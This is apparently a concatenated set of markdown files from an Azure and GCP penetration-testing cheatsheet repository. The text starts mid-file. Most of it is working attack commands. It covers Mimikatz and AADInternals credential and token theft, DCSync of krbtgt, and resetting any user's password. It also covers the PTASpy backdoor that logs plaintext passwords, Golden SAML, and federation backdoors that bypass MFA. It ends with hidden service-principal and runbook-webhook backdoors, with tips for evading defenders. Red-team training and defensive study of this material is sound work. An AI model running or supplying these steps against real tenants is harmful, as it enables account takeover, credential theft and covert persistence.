-Command '"privilege::debug" "token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect" "exit"' 35 | ``` 36 | 37 | #### Request a certificate from PRT 38 | - https://github.com/morRubin/PrtToCert 39 | - Code is modified in the lab 40 | ``` 41 | & 'C:\Program Files\Python39\python.exe' RequestCert.py --tenantId --prt --userName --hexCtx --hexDerivedKey 42 | ``` 43 | 44 | #### Use certificate to add a user with administrative privileges 45 | - Code is modified in the lab 46 | - https://github.com/morRubin/AzureADJoinedMachinePTC 47 | ``` 48 | python \AzureADJoinedMachinePTC\Main.py --usercert --certpass AzureADCert --remoteip --command "cmd.exe /c net user /add /Y && net localgroup administrators /add" 49 | ``` 50 | 51 | #### Use psremoting to access the machine 52 | 53 | ## Pass the PRT 54 | #### Extract PRT, Session key (keyvalue) and Tenant ID 55 | ``` 56 | Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap" ""exit"' 57 | ``` 58 | 59 | #### Extract context key, clearkey and derived key 60 | ``` 61 | Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect" "exit"' 62 | ``` 63 | 64 | #### Request access token (cookie) to all applications 65 | ``` 66 | Import-Module .\AADInternals.psd1 67 | 68 | $tempPRT = '' 69 | while($tempPRT.Length % 4) {$tempPRT += "="} 70 | $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($tempPRT)) 71 | 72 | $ClearKey = "" 73 | $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne '')) 74 | 75 | New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce 76 | ``` 77 | 78 | #### Copy the value from above command and use it with a web browser 79 | - Open the Browser in Incognito mode 80 | - Go to https://login.microsoftonline.com/login.srf 81 | - Press F12 (Chrome dev tools) -> Application -> Cookies 82 | - Clear all cookies and then add one named `x-ms-RefreshTokenCredential` for https://login.microsoftonline.com and set its value to that retrieved from AADInternals 83 | - Mark HTTPOnly and Secure for the cookie 84 | - Visit https://login.microsoftonline.com/login.srf again and we will get access as the user! 85 | - Can now also access portal.azure.com 86 | 87 | 88 | ## Intune 89 | - a user with Global Administrator or Intune Administrator role can execute PowerShell scripts on an enrolled Windows device. The script runs with privileges of SYSTEM on the device. 90 | - If user had Intune Administrator role go to https://endpoint.microsoft.com/#home and login (or from a ticket (PRT) 91 | - Go to Devices -> All Devices to check devices enrolled to Intune: 92 | - Go to Scripts and Click on Add for Windows 10. Create a new script and select a script 93 | - Example script adduser.ps1 94 | 95 | ``` 96 | $passwd = ConvertTo-SecureString "" -AsPlainText -Force 97 | New-LocalUser -Name -Password $passwd 98 | Add-LocalGroupMember -Group Administrators -Member 99 | ``` 100 | 101 | - Select `Run script in 64 bit PowerShell Host` 102 | - On the assignment page select "Add all users" and "add all devices" 103 | 104 | ## Application proxy abuse 105 | - The application behind the proxy may have vulnerabilities to access the on-prem environment. 106 | #### Enumerate application which has a application proxy configured 107 | ``` 108 | Import-Module .\AzureAD.psd1 109 | Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} 110 | ``` 111 | 112 | #### Get the Service Principal (use the application name) 113 | ``` 114 | Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq ""} 115 | ``` 116 | 117 | #### Find user and groups assigned to the application 118 | ``` 119 | . .\Get-ApplicationProxyAssignedUsersAndGroups.ps1 120 | Get-ApplicationProxyAssignedUsersAndGroups -ObjectId 121 | ``` 122 | 123 | #### Extract secrets of service account 124 | - After compromising the application 125 | ``` 126 | Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"' 127 | ``` 128 | 129 | # On-Prem --> Azure AD 130 | ## Azure AD Connect 131 | - Check if there is an account name with `MSOL_`. This user has DCSYNC rights. (or `AAD_` if installed on a DC) 132 | - Command to check if AD connect is installed on the server `Get-ADSyncConnector` 133 | 134 | ## Password Hash Sync Abuse 135 | - Account with `SYNC_` is created in Azure AD and can reset any users password in Azure AD. 136 | - Passwords for both the accounts are stored in SQL server on the server where Azure AD Connect is installed and it is possible to extract them in clear-text if you have admin privileges on the server. 137 | 138 | #### Enumerate server where Azure AD is installed (on prem command) 139 | ``` 140 | Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl 141 | ``` 142 | 143 | #### Enumerate server where Azure AD is installed (Azure command) 144 | ``` 145 | Import-Module .\AzureAD.psd1 146 | Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} 147 | ``` 148 | 149 | #### Extract credentials from the server 150 | ``` 151 | Import-Module .\AADInternals.psd1 152 | Get-AADIntSyncCredentials 153 | ``` 154 | 155 | #### Run DCSync with creds of MSOL_* account 156 | ``` 157 | runas /netonly /user:\MSOL_ cmd 158 | Invoke-Mimikatz -Command '"lsadump::dcsync/user:\krbtgt /domain: /dc:"' 159 | ``` 160 | 161 | ### Reset password of any user 162 | - Using the Sync_* account we can reset password for any user. (Including Global Administrator and the user who created the tenant) 163 | 164 | #### Using the creds, request an access token for AADGraph and save it to cache using the SYNC account. 165 | ``` 166 | Import-Module .\AADInternals.psd1 167 | $passwd = ConvertTo-SecureString '' -AsPlainText -Force 168 | $creds = New-Object System.Management.Automation.PSCredential ("", $passwd) 169 | Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache 170 | ``` 171 | 172 | #### Enumerate global admin 173 | ``` 174 | Get-AADIntGlobalAdmins 175 | ``` 176 | 177 | #### Get the ImmutableID 178 | ``` 179 | Get-AADIntUser -UserPrincipalName | select ImmutableId 180 | ``` 181 | 182 | #### Reset the Azure password 183 | ``` 184 | Set-AADIntUserPassword -SourceAnchor "" -Password "" -Verbose 185 | ``` 186 | 187 | #### Reset password for cloud only user 188 | - Need CloudAnchor ID which is the format ```_``` 189 | ``` 190 | Import-Module .\AADInternals.psd1 191 | Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID 192 | Set-AADIntUserPassword -CloudAnchor "" -Password "" -Verbose 193 | ``` 194 | 195 | - Access Azure portal using the new password. 196 | 197 | ## Pass Through Authentication PTA Abuse 198 | - Once we have admin access to an Azure AD connect server running PTA agent. 199 | - Not reliable method to check if PTA is used, Check if module is available ```Get-Command -Module PassthroughAuthPSModule``` 200 | - Once the backdoor is installed, we can authenticate as any user synced from on-prem without knowing the correct password! 201 | 202 | #### Install a backdoor (needs to be run ad administrator) 203 | ``` 204 | Import-Module .\AADInternals.psd1 205 | Install-AADIntPTASpy 206 | ``` 207 | 208 | ### See passwords of on-prem users authenticating 209 | - Stored in C:\PTASpy 210 | ``` 211 | Get-AADIntPTASpyLog -DecodePasswords 212 | ``` 213 | 214 | #### Register a new PTA agent 215 | - After getting Global Administrator privileges by setting it on a attacker controled machine. 216 | ``` 217 | Import-Module .\AADInternals.psd1 218 | Install-AADIntPTASpy 219 | ``` 220 | 221 | ## Federation-ADFS 222 | - Golden SAML Attack 223 | #### Get the ImmutableID 224 | ``` 225 | [System.Convert]::ToBase64String((Get-ADUser -Identity onpremuser | select -ExpandProperty ObjectGUID).tobytearray()) 226 | ``` 227 | 228 | #### On ADFS server (As administrator) 229 | ``` 230 | Get-AdfsProperties | select identifier 231 | ``` 232 | 233 | #### Check the IssuerURI from Azure AD too (Use MSOL module and need GA privs) 234 | ``` 235 | Get-MsolDomainFederationSettings -DomainName | select IssuerUri 236 | ``` 237 | 238 | #### Extract the ADFS token signing certificate 239 | - With DA privileges on-prem 240 | ``` 241 | Import-Module .\AADInternals.psd1 242 | Export-AADIntADFSSigningCertificate 243 | ``` 244 | 245 | #### Access cloud apps as any user 246 | ``` 247 | Open-AADIntOffice365Portal -ImmutableID -Issuer /adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose 248 | ``` 249 | 250 | ### With DA privileges on-prem, it is possible to create ImmutableID of cloud only users! 251 | #### Create a realistic ImmutableID 252 | ``` 253 | [System.Convert]::ToBase64String((New-Guid).tobytearray()) 254 | ``` 255 | 256 | #### Export the token signing certificate 257 | ``` 258 | Import-Module .\AADInternals.psd1 259 | Export-AADIntADFSSigningCertificate 260 | ``` 261 | 262 | #### Use the below command from AADInternals to access cloud apps as the user whose immutableID is specified 263 | ``` 264 | Open-AADIntOffice365Portal -ImmutableID -Issuer /adfs/services/trust -PfxFileName -Verbose 265 | ``` 266 | -------------------------------------------------------------------------------- /cloud/azure/General-information.md: -------------------------------------------------------------------------------- 1 | ### Terminology 2 | - Tenant - An instance of Azure AD and represents a single organization. 3 | - Azure AD Directory - Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources. 4 | - Subscriptions - It is used to pay for services. There can be multiple subscriptions in a Directory. 5 | - Core Domain - The initial domain name .onmicrosoft.com is the core domain. it is possible to define custom domain names too. 6 | - Azure resourced are divided into four levels: 7 | - Management groups 8 | - Management groups are used to manage multiple subscriptions. 9 | - All subscriptions inherit the conditions applied to the management group. 10 | - All subscriptions within a single management group belong to the same Azure tenant. 11 | - A management group can be placed in a lower hierarchy of another management group. 12 | - There is a single top-level management group - Root management group - for each directory in Azure. 13 | - Subscriptions 14 | - An Azure subscription is a logical unit of Azure services that links to an Azure account. 15 | - An Azure subscription is a billing and/or access control boundary in an Azure AD Directory. 16 | - An Azure AD Directory may have multiple subscriptions but each subscription can only trust a single directory. 17 | - An Azure role applied at the subscription level applies to all the resources within the subscription. 18 | - Resource groups 19 | - A resource group acts as a container for resources. 20 | - In Azure, all the resources must be inside a resource group and can belong only to a group. 21 | - If a resource group is deleted, all the resources inside it are also deleted. 22 | - A resource group has its own Identity and Access Management settings for providing role based access. An Azure role applied to the resource group applied to all the resources in the group. 23 | - Resources 24 | - A resource is a deployable item in Azure like VMs, App Services, Storage Accounts etc. 25 | - Managed identity 26 | - Azure provides the ability to assign Managed Identities to resources like app service, function apps, virtual machines etc. 27 | - Managed Identity uses Azure AD tokens to access other resources (like key vaults, storage accounts) that support Azure AD authentication. 28 | - It is a service principal of special type that can be used with Azure resources. 29 | - Managed Identity can be system-assigned (tied to a resource and cannot be shared with other resources) or user-assigned (independent life cycle and can be share across resources). 30 | - Azure Resource manager (ARM) 31 | - It is the client neutral deployment and management service for Azure that is used for lifecycle management (creating, updating and deleting) and access control of of resources. 32 | - ARM templates can be used for consistent and dependency-defined redeployment of resources. 33 | - Azure RBAC Roles 34 | - Owner: Full access to all resources and can manage access for other users. 35 | - Contributor: Full access to all resources, cannot manage access. 36 | - Reader: View all resources 37 | - User Access Administrator: View all recources and can manage access for other users. 38 | - Azure AD roles 39 | - Global administrator is the most well-known and all powerful administrator role. 40 | - Global Administrator has the ability to 'elevate' to User Access Administrator Azure role to the root management group. 41 | - Default User Permissions, A normal user has many interesting permissions in Azure AD! 42 | - Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties 43 | - Invite Guests 44 | - Create Security groups 45 | - Read non-hidden Group memberships 46 | - Add guests to Owned groups 47 | - Create new application 48 | - Add up to 50 devices to Azure 49 | - Tokens 50 | - OAuth 2.0 and OIDC use bearer tokens which are JSON Web Tokens. 51 | - A bearer token, as the name suggests, grants the bearer access to a protected resource. 52 | - There are three types of tokens used in OIDC: 53 | - Access Tokens - The client presents this token to the resource server to access resources. It can be used only for a specific combination of user, client, and resource and cannot be revoked until expiry - that is 1 hour by default. 54 | - ID Tokens - The client receives this token from the authorization server. It contains basic information about the user. It is bound to a specific combination of user and client. 55 | - Refresh Tokens - Provided to the client with access token. Used to get new access and ID tokens. It is bound to a specific combination of user and client and can be revoked. Default expiry is 90 days for inactive refresh tokens and no expiry for active tokens. 56 | -------------------------------------------------------------------------------- /cloud/azure/customqueries.json: -------------------------------------------------------------------------------- 1 | { 2 | "queries": [ 3 | { 4 | "name": "Find all users who have the Global Administrator role", 5 | "queryList": [ 6 | { 7 | "final": true, 8 | "query": "MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p" 9 | } 10 | ] 11 | }, 12 | { 13 | "name": "Find all paths to an Azure VM", 14 | "queryList": [ 15 | { 16 | "final": true, 17 | "query": "MATCH p = (n)-[r]->(g: AZVM) RETURN p" 18 | } 19 | ] 20 | }, 21 | { 22 | "name": "Find all paths to an Azure KeyVault", 23 | "queryList": [ 24 | { 25 | "final": true, 26 | "query": "MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p" 27 | } 28 | ] 29 | }, 30 | { 31 | "name": "Find all paths to an Azure Resource Group", 32 | "queryList": [ 33 | { 34 | "final": true, 35 | "query": "MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p" 36 | } 37 | ] 38 | }, 39 | { 40 | "name": "Find Owners of Azure Groups", 41 | "queryList": [ 42 | { 43 | "final": true, 44 | "query": "MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p" 45 | } 46 | ] 47 | }, 48 | ] 49 | } 50 | -------------------------------------------------------------------------------- /cloud/azure/persistence.md: -------------------------------------------------------------------------------- 1 | # Persistence 2 | - It is recommended by Microsoft to join the Azure AD Connect server to the on-prem AD. 3 | - This means that the persistence mechanisms for on-prem (like Golden Ticket, Silver Ticket, ACL Backdoors and others) that provide us either DA on the on-prem or local admin on the Azure AD connect server will allow to get GA on Azure AD on demand! 4 | - For PHS, we can extract the credentials 5 | - For PTA, we can install the agent 6 | - For Federation, we can extract the certificate from ADFS server using DA 7 | 8 | ## Hybrid identity - Seamless SSO 9 | - Seamless SSO is supported by both PHS and PTA. 10 | - If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD. 11 | - Password/key of the AZUREADSSOACC never changes. 12 | 13 | #### Get NTLM hash of AZUREADSSOC account 14 | ``` 15 | Invoke-Mimikatz -Command '"lsadump::dcsync /user:\azureadssoacc$ /domain: /dc:"' 16 | ``` 17 | 18 | #### Create a silver ticket 19 | ``` 20 | Invoke-Mimikatz -Command '"kerberos::golden /user: /sid: /id:1108 /domain: /rc4: /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"' 21 | ``` 22 | 23 | ## Add credentials to enterprise applications 24 | #### Check if secrets (application passwords) can be added to all enterprise applications 25 | ``` 26 | . .\Add-AzADAppSecret.ps1 27 | Add-AzADAppSecret -GraphToken $graphtoken -Verbose 28 | ``` 29 | 30 | #### Use the secret to autheticate as service principal. 31 | ``` 32 | $password = ConvertTo-SecureString '' -AsPlainText -Force 33 | $creds = New-Object System.Management.Automation.PSCredential('', $password) 34 | Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 35 | ``` 36 | 37 | ### Check what resources service principal can access 38 | ``` 39 | Get-AzResource 40 | ``` 41 | 42 | ## Service principal backdoor creation 43 | #### Create a new azure service principal 44 | ``` 45 | $spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner 46 | $spn 47 | ``` 48 | 49 | #### Get service principal secret 50 | ``` 51 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) 52 | $UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) 53 | $UnsecureSecret 54 | ``` 55 | 56 | #### set service principal in variable and role 57 | ``` 58 | $sp = Get-MsolServicePrincipal -AppPrincipalId 59 | $role = Get-MsolRole -RoleName "Company Administrator" 60 | ``` 61 | 62 | ## Service principal global admin 63 | - This can be a bit less noticeable as service principal accounts do not show up in the Azure Active Directory “Users” list 64 | - Blue team should be alerting on new additions to global admins 65 | - Instead of adding to “Company Administrator” just add it to “User Account Administrator” group. 66 | 67 | #### Create a new service principal 68 | - Note the “ApplicationId”. This is the service principal’s “username” for auth 69 | ``` 70 | $spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner 71 | $spn 72 | ``` 73 | 74 | #### Get service principal's secret 75 | - this is the password 76 | ``` 77 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) 78 | $UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) 79 | $UnsecureSecret 80 | ``` 81 | 82 | #### Get the service principal using the application id 83 | ``` 84 | sp = Get-MsolServicePrincipal -AppPrincipalId 85 | ``` 86 | 87 | #### Set the role 88 | ``` 89 | $role = Get-MsolRole -RoleName "Company Administrator" 90 | ``` 91 | 92 | #### Add the service principal as a role member 93 | ``` 94 | Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId 95 | ``` 96 | 97 | #### Check the role members 98 | ``` 99 | Get-MsolRoleMember -RoleObjectId $role.ObjectId 100 | ``` 101 | 102 | #### Authenticate as service principal 103 | ``` 104 | $cred = Get-Credential 105 | Connect-AzAccount -Credential $cred -Tenant -ServicePrincipal 106 | ``` 107 | 108 | ## Federation 109 | ### Creating a trusted domain 110 | If we have GA privileges on a tenant, we can add a new domain (must be verified), configure its authentication type to Federated and configure the domain to trust a specific certificate (any.sts in the below command) and issuer. 111 | 112 | #### Add a domain with AADInternal 113 | ``` 114 | Import-Module .\AADInternals.psd1 115 | ConvertTo-AADIntBackdoor -DomainName 116 | ``` 117 | 118 | #### Get immutableID of the user that we want to impersonate. Using Msol module 119 | ``` 120 | Get-MsolUser | select userPrincipalName,ImmutableID 121 | ``` 122 | 123 | #### Access any cloud app as the user 124 | ``` 125 | Open-AADIntOffice365Portal -ImmutableID -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true 126 | ``` 127 | 128 | ### Token Signing Certificate 129 | - With DA privileges on on-prem AD, it is possible to create and import new Token signing and Token Decrypt certificates that have a very long validity. 130 | 131 | #### Create new certs, add them to ADFS, Disable auto reollver and restart the service 132 | ``` 133 | Import-Module .\AADInternals.psd1 134 | New-AADIntADFSSelfSignedCertificates 135 | ``` 136 | 137 | #### Update the certificate information with AzureAD 138 | ``` 139 | Update-AADIntADFSFederationSettings -Domain 140 | ``` 141 | 142 | ## Storage account access keys 143 | - We already know that keys provide root equivalent privileges on an storage account. 144 | - There are two access keys and they are NOT rotated automatically (unless a key vault is managing the keys). 145 | - This, of course, provides neat persistent access to the storage account. 146 | - We can also generate SAS URL (including offline minting) using the access keys. 147 | 148 | 149 | ## Application and service principals 150 | - With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. 151 | - We can also add a new application that has high permissions and then use that for persistence. 152 | - If we have GA privileges, we can create an application with the Privileged authentication administrator role - that allows to reset password of Global Administrators. 153 | 154 | #### Sign in as a service principal account 155 | ``` 156 | $passwd = ConvertTo-SecureString "" -AsPlainText -Force 157 | $creds = New-Object System.Management.Automation.PSCredential ("", $passwd) 158 | Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant 159 | ``` 160 | 161 | #### For certificate based authentication 162 | ``` 163 | Connect-AzAccount -ServicePrincipal -Tenant - 164 | CertificateThumbprint -ApplicationId 165 | ``` 166 | 167 | ## Illicit Consent Grant 168 | - We can register an application (only for the target tenant) that needs high impact permissions with admin consent - like sending mail on a user's behalf, role management etc. 169 | 170 | ## Azure VMs and NSGs 171 | - OS level persistence on an Azure VM where we have remote access is very useful. 172 | - Azure VMs also support managed identity so persistence on any such VM will allow us access to additional Azure resources. 173 | - We can also create snapshot of disk attached to a running VM. This can be used to extract secrets stored on disk (like SAM hive for Windows). 174 | - It is also possible to attach a modified/tampered disk to a turned-off VM. For example, add a local administrator! 175 | - Couple this with modification of NSGs to allow access from IPs that we control! 176 | 177 | ## Custom Azure AD roles 178 | - If we have GA in a tenant, we can modify a custom role and assign that to a user that we control. 179 | - Take a look at the permissions of the built-in administrative roles, we can pick individual actions. It is always helpful to go for minimal privileges. 180 | 181 | ## Deployment Modification 182 | - If we have persistent access to external resources like GitHub repos that are a part of deployment chain, it will be possible to persist in the target tenant. 183 | 184 | ## 0365 App passwords 185 | - Use case is for apps that can't use MFA 186 | - Perfect scenario if you phish an account with MFA 187 | - Click "Security & Privacy", Then " Additional security verification", then "Create and manage app passwords" 188 | - Click “Create”, give the app password a name, then copy the value. 189 | - This can now be used to access the account using legacy protocols without the MFA requirement 190 | 191 | ## Guest user accounts 192 | - By default users can add “guest users” from outside the directory 193 | - This provides (at minimum) read access to the directory 194 | - Hybrid deployments may sync from Azure > On-Prem 195 | 196 | ## Runbook backdoor with webhook 197 | - Create a new Automation account with “Create Azure Run As Account” enabled 198 | - Navigate to Azure Active Directory > Roles and Administrators> User administrator 199 | - Click Add Assignments • Search for your new automation account and add it 200 | - Navigate to Subscriptions > subscription name > Access control (IAM) 201 | - Click Add Role Assignment and add the automation account as an “Owner” 202 | - Navigate back to Automation Accounts and select your new account 203 | - Click “Modules Gallery” 204 | - Search for “Az.” 205 | - Import the Az.Accounts module 206 | - Import the Az.Resources module 207 | - Now we need to import the actual runbook 208 | - In the Automation Accounts menu click “Runbooks” 209 | - Click “Import a runbook” 210 | - Save the script below as a ps1 file and modify the “user”, “password”, “Nickname”, and “DisplayName” to whatever you want it to be. 211 | ``` 212 | Import-Module Az.Accounts 213 | Import-Module Az.Resources 214 | $user = “username@targetdomain.com" 215 | $pass = "BackdoorFTW!!" 216 | $Nickname = "BackupSVC" 217 | $DisplayName = "backup_service" 218 | $connectionName = "AzureRunAsConnection" 219 | $servicePrincipalConnection = Get-AutomationConnection -Name $connectionName 220 | Connect-AzAccount -ServicePrincipal -TenantId $servicePrincipalConnection.TenantId - 221 | ApplicationId $servicePrincipalConnection.ApplicationId - 222 | CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint 223 | $SecureStringPassword = ConvertTo-SecureString -String $pass -AsPlainText -Force 224 | New-AzADUser -DisplayName $DisplayName -UserPrincipalName $user -Password $SecureStringPassword - 225 | MailNickname $Nickname 226 | New-AzRoleAssignment -SignInName $user -RoleDefinitionName Owner 227 | ``` 228 | - When importing the script set a name to something similar to the standard Automation scripts “AzureAutomationTutorial” 229 | - Set “Runbook Type” to PowerShell and click Create 230 | - After the script is imported navigate to the runbook you just created and click “Webhooks” on the left, then Add Webhook 231 | - Now give the webhook a name that will blend in like “backup” 232 | - Make sure you copy the URL!!! This is the most important step. 233 | - Now if the blue team catches you and cuts off your access you have a backdoor. 234 | - All you have to do now is open a PowerShell terminal and run this to create a brand new Azure account that is owner of the subscription 235 | - ```Invoke-WebRequest -Method Post -Uri ``` 236 | -------------------------------------------------------------------------------- /cloud/azure/post-exploitation.md: -------------------------------------------------------------------------------- 1 | # Post exploitation 2 | ## Index 3 | * [Data harvesting](#Data-harvesting) 4 | * [Email](#Email) 5 | * [Azure SQL](#Azure-SQL) 6 | * [Compliance search](#Compliance-search) 7 | * [Metadata Service URL](#Metadata-Service-URL) 8 | 9 | ## Data harvesting 10 | ### Email 11 | - https://github.com/dafthack/MailSniper 12 | 13 | #### Search through mailboxes 14 | - From the person itself 15 | ``` 16 | Invoke-SelfSearch -Mailbox 17 | ``` 18 | 19 | #### Search for open mailboxes 20 | ``` 21 | Invoke-OpenInboxFinder 22 | ``` 23 | 24 | ### Azure SQL 25 | - Azure Transparent Data Encryption (TDE) is enabled by default 26 | - Encrypts data at rest to prevent offline attacks (unless you export it…) 27 | - Azure SQL servers get a DNS name at .database.windows.net 28 | - Can run SQL queries in portal 29 | - Azure SQL BACPAC backup files are not encrypted… even when Transparent Data Encryption is enabled 30 | - Can restore BACPAC database backup to another Azure SQL Server 31 | - Search for bacpac’s on disk and in blob storage then restore in another Azure account to analyze 32 | 33 | #### List SQL servers 34 | ``` 35 | Get-AzSQLServer 36 | ``` 37 | 38 | #### List databases 39 | ``` 40 | Get-AzSqlDatabase -ServerName -ResourceGroupName 41 | ``` 42 | 43 | #### Check allow list to database 44 | ``` 45 | Get-AzSqlServerFirewallRule –ServerName -ResourceGroupName 46 | ``` 47 | 48 | #### List out SQL server AD Admins 49 | ``` 50 | Get-AzSqlServerActiveDirectoryAdminstrator -ServerName -ResourceGroupName 51 | ``` 52 | 53 | #### Get BACPAC backup file of database 54 | ``` 55 | Get-AzSqlDatabaseTransparentDataEncryption -ServerName -DatabaseName -ResourceGroupName 56 | ``` 57 | 58 | ### Compliance search 59 | - Must be a member of “eDiscovery Manager” role group in Security & Compliance Center (Administrator, compliance officer, or eDiscover manager) 60 | - https://protection.office.com 61 | - Search through almost all office365 services 62 | 63 | ## Metadata Service URL 64 | ``` 65 | http://169.254.169.254/metadata 66 | ``` 67 | 68 | #### Get access tokens from the metadata service 69 | ``` 70 | GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata: true 71 | ``` 72 | -------------------------------------------------------------------------------- /cloud/azure/readme.md: -------------------------------------------------------------------------------- 1 | # Azure-cheatsheet 2 | 3 | # Index 4 | * [General](#General) 5 | * [Authenticated enumeration](Authenticated-enumeration.md ) 6 | * [Privilege Escalation](privilege-escalation.md) 7 | * [Cloud <-> On-Prem - Lateral Movement](Cloud-OnPrem-lateral-movement.md) 8 | * [Persistence](persistence.md) 9 | * [Post exploitation](post-exploitation.md) 10 | 11 | # General 12 | - List of Microsoft portals https://msportals.io/ 13 | - Great resources 14 | - https://pentestbook.six2dez.com/enumeration/cloud/azure 15 | - https://github.com/Kyuu-Ji/Awesome-Azure-Pentest 16 | - https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md 17 | 18 | #### Save Credentials 19 | ``` 20 | $creds = get-credential 21 | 22 | $password = ConvertTo-SecureString '' -AsPlainText -Force 23 | $creds = New-Object System.Management.Automation.PSCredential('', $password) 24 | ``` 25 | 26 | #### Find a specific file 27 | ``` 28 | Get-Childitem -Path C:\ -Force -Include -Recurse -ErrorAction SilentlyContinue 29 | ``` 30 | 31 | ## PSSession 32 | #### Save pssession in variable 33 | ``` 34 | $sess = New-PSSession -Credential $creds -ComputerName 35 | ``` 36 | 37 | #### Run commands on machine 38 | ``` 39 | Invoke-Commannd -ScriptBlock {COMMAND} -Session $sess 40 | ``` 41 | 42 | #### Load script on machine 43 | ``` 44 | Invoke-Commannd -Filepath -Session $sess 45 | ``` 46 | 47 | #### Copy item through PSSession 48 | ``` 49 | Copy-Item -ToSession $sess -Path -Destination -verbose 50 | ``` 51 | -------------------------------------------------------------------------------- /cloud/gcb/authenticated-enumeration.md: -------------------------------------------------------------------------------- 1 | # Authenticated enumeration 2 | ## Index 3 | * [Authentication](#Authentication) 4 | * [Manual Enumeration](#Manual-Enumeration) 5 | * [Virtual machines](#Virtual-machines) 6 | * [Storage Buckets](#Storage-Buckets) 7 | * [Webapps and SQL](#Webapps-and-SQL) 8 | * [Networking](#Networking) 9 | * [Containers](#Containers) 10 | * [Serverless](#Serverless) 11 | 12 | ## Authentication 13 | #### User identity login 14 | ``` 15 | gcloud auth login 16 | ``` 17 | 18 | #### Service account login 19 | ``` 20 | gcloud auth activate-service-account --key-file creds.json 21 | ``` 22 | 23 | ## Manual Enumeration 24 | - Most GCP instances have Google Cloud SDK installed 25 | - ```gcloud``` CLI tool for managing auth, config, and interacting with GCP services 26 | - ``` gsutil``` CLI tool for accessing GCP storage buckets 27 | 28 | ### Basic enumeration 29 | #### List accounts available to gcloud 30 | ``` 31 | gcloud auth list 32 | ``` 33 | 34 | #### Get account information 35 | ``` 36 | gcloud config list 37 | ``` 38 | 39 | #### List organizations 40 | ``` 41 | gcloud organizations list 42 | ``` 43 | 44 | #### Enumerate IAM policies set ORG-wide 45 | ``` 46 | gcloud organizations get-iam-policy 47 | ``` 48 | 49 | #### List projects 50 | ``` 51 | gcloud projects list 52 | ``` 53 | 54 | #### Set a different project 55 | ``` 56 | gcloud config set project 57 | ``` 58 | 59 | #### Gives a list of all APIs that are enabled in project 60 | ``` 61 | gcloud services list 62 | ``` 63 | 64 | #### Get source code repos available to user 65 | ``` 66 | gcloud source repos list 67 | ``` 68 | 69 | #### Clone repo to home dir 70 | ``` 71 | gcloud source repos clone 72 | ``` 73 | 74 | ### Virtual machines 75 | #### List other compute instances in the same project 76 | ``` 77 | gcloud compute instances list 78 | ``` 79 | 80 | #### Get shell access to instance 81 | ``` 82 | gcloud beta compute ssh --zone "" "" --project "" 83 | ``` 84 | 85 | #### Puts public ssh key onto metadata service for project 86 | ``` 87 | gcloud compute ssh 88 | ``` 89 | 90 | #### Get access scopes if on an instance 91 | ``` 92 | curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google’ 93 | ``` 94 | 95 | #### Use Google keyring to decrypt encrypted data 96 | ``` 97 | gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key --keyring --location global 98 | ``` 99 | 100 | ### Storage Buckets 101 | #### List storage buckets 102 | ``` 103 | gsutil ls 104 | ``` 105 | 106 | #### List storage buckets recursively 107 | ``` 108 | gsutil ls -r gs:// 109 | ``` 110 | 111 | ### Webapps and SQL 112 | #### List webapps 113 | ``` 114 | gcloud app instances list 115 | ``` 116 | 117 | #### List SQL instances 118 | ``` 119 | gcloud sql instances list 120 | gcloud spanner instances list 121 | gcloud bigtable instances list 122 | ``` 123 | 124 | #### List SQL databases 125 | ``` 126 | gcloud sql databases list --instance 127 | gcloud spanner databases list --instance 128 | ``` 129 | 130 | #### Export SQL databases and buckets 131 | - First copy buckets to local directory 132 | ``` 133 | gsutil cp gs://bucket-name/folder/ . 134 | ``` 135 | 136 | #### Create a new storage bucket, change perms, export SQL DB 137 | ``` 138 | gsutil mb gs:// 139 | gsutil acl ch -u gs:// 140 | gcloud sql export sql gs:///sqldump.gz --database= 141 | ``` 142 | 143 | ### Networking 144 | #### List networks 145 | ``` 146 | gcloud compute networks list 147 | ``` 148 | 149 | #### List subnets 150 | ``` 151 | gcloud compute networks subnets list 